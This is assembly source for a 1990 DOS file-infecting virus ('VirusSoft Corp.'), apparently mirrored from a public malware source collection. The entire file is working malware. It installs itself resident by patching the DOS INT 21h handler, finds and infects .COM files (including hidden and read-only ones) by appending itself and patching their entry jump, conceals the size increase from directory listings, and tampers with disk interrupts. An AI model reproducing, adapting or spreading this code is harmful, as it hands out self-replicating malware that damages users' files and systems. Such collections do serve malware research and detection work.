mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
300 lines
6.5 KiB
NASM
300 lines
6.5 KiB
NASM
; (C) Copyright VirusSoft Corp. Aug, 1990
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ofs = 201h
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len = offset end-ofs
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start: call $+6
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org ofs
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first: dw 020cdh
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db 0
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xchg ax,dx
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pop di
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dec di
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dec di
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mov si,[di]
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dec di
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add si,di
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cld
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movsw
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movsb
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mov ax,4b04h
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int 21h
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jnc residnt
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xor ax,ax
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mov es,ax
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mov di,ofs+3
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mov cx,len-3
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rep movsb
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les di,[6]
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mov al,0eah
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dec cx
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repne scasb
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les di,es:[di] ; Searching for the INT21 vector
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sub di,-1ah-7
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db 0eah
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dw offset jump,0 ; jmp far 0000:jump
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jump: push es
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pop ds
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mov si,[di+3-7] ;
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lodsb ;
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cmp al,68h ; compare DOS Ver
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mov [di+4-7],al ; Change CMP AH,CS:[????]
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mov [di+2-7],0fc80h ;
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mov [di-7],0fccdh ;
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push cs
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pop ds
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mov [1020],di ; int 0ffh
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mov [1022],es
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mov beg-1,byte ptr not3_3-beg
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jb not3.3 ; CY = 0 --> DOS Ver > or = 3.30
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mov beg-1,byte ptr 0
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mov [7b4h],offset pr7b4
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mov [7b6h],cs ; 7b4
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not3.3: mov al,0a9h ; Change attrib
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cont: repne scasb
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cmp es:[di],0ffd8h
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jne cont
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mov al,18h ; mov es:[di],byte ptr 98h
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stosb ;
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push ss
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pop ds
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push ss
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pop es
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residnt: xchg ax,dx
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push ds ; jmp start
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mov dx,0100h ;
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push dx ;
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retf ; ret far
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;--------Interrupt process--------;
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i21pr: push ax
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push dx
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push ds
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push cx
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push bx
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push es
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if4b04: cmp ax,4b04h
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je rti
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xchg ax,cx
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mov ah,02fh
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int 0ffh
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if11_12: cmp ch,11h
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je yes
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cmp ch,12h
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jne inffn
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yes: xchg ax,cx
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int 0ffh
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push ax
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test es:byte ptr [bx+19],0c0h
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jz normal
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sub es:[bx+36],len
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normal: pop ax
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rti: pop es
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pop bx
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pop cx
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add sp,12
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iret
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inffn: mov ah,19h
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int 0ffh
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push ax
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if36: cmp ch,36h ; -free bytes
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je beg_36
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if4b: cmp ch,4bh ; -exec
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je beg_4b
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if47: cmp ch,47h ; -directory info
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jne if5b
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cmp al,2
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jae begin ; it's hard-disk
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if5b: cmp ch,5bh ; -create new
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je beg_4b
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if3c_3d: shr ch,1 ; > -open & create
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cmp ch,1eh ; -
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je beg_4b
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jmp rest
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beg_4b: mov ax,121ah
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xchg dx,si
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int 2fh
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xchg ax,dx
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xchg ax,si
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beg_36: mov ah,0eh ; change current drive
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dec dx ;
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int 0ffh ;
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begin:
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push es ; save DTA address
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push bx ;
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sub sp,44
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mov dx,sp ; change DTA
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push sp
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mov ah,1ah
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push ss
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pop ds
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int 0ffh
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push ds
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pop es
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mov bx,dx
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push cs
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pop ds
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mov ah,04eh
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mov dx,offset file
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mov cx,3 ; r/o , hidden
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int 0ffh ; int 21h
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jc lst
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next: test es:[bx+21],byte ptr 80h
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jz true
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nxt: mov ah,4fh ; find next
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int 0ffh
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jnc next
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lst: jmp last
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true: cmp es:[bx+27],byte ptr 0fdh
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ja nxt
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mov [144],offset i24pr
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mov [146],cs
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push es
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les di,[4ch] ; int 13h
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mov i13adr,di
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mov i13adr+2,es
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jmp short $
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beg: mov [4ch],offset i13pr
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mov [4eh],cs
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;
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not3_3: pop ds
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push [bx+22] ; time +
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push [bx+24] ; date +
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push [bx+21] ; attrib +
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lea dx,[bx+30] ; ds : dx = offset file name
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mov ax,4301h ; Change attrib !!!
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pop cx
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and cx,0feh ; clear r/o and CH
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or cl,0c0h ; set Infect. attr
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int 0ffh
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mov ax,03d02h ; open
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int 0ffh ; int 21h
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xchg ax,bx
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push cs
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pop ds
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mov ah,03fh
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mov cx,3
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mov dx,offset first
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int 0ffh
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mov ax,04202h ; move fp to EOF
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xor dx,dx
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mov cx,dx
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int 0ffh
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mov word ptr cal_ofs+1,ax
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mov ah,040h
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mov cx,len
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mov dx,ofs
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int 0ffh
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jc not_inf
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mov ax,04200h
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xor dx,dx
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mov cx,dx
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int 0ffh
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mov ah,040h
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mov cx,3
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mov dx,offset cal_ofs
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int 0ffh
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not_inf: mov ax,05701h
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pop dx ; date
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pop cx ; time
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int 0ffh
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mov ah,03eh ; close
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int 0ffh
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les ax,dword ptr i13adr
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mov [4ch],ax ; int 13h
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mov [4eh],es
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last: add sp,46
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pop dx
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pop ds ; restore DTA
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mov ah,1ah
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int 0ffh
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rest: pop dx ; restore current drive
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mov ah,0eh ;
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int 0ffh ;
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pop es
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pop bx
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pop cx
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pop ds
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pop dx
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pop ax
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i21cl: iret ; Return from INT FC
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i24pr: mov al,3 ; Critical errors
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iret
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i13pr: cmp ah,3
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jne no
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inc byte ptr cs:activ
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dec ah
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no: jmp dword ptr cs:i13adr
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pr7b4: db 2eh,0d0h,2eh
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dw offset activ
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; shr cs:activ,1
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jnc ex7b0
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inc ah
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ex7b0: jmp dword ptr cs:[7b0h]
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;--------
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file: db "*.COM"
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activ: db 0
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dw offset i21pr ; int 0fch
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dw 0
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cal_ofs: db 0e8h
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end:
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dw ? ; cal_ofs
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i13adr: dw ?
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dw ?
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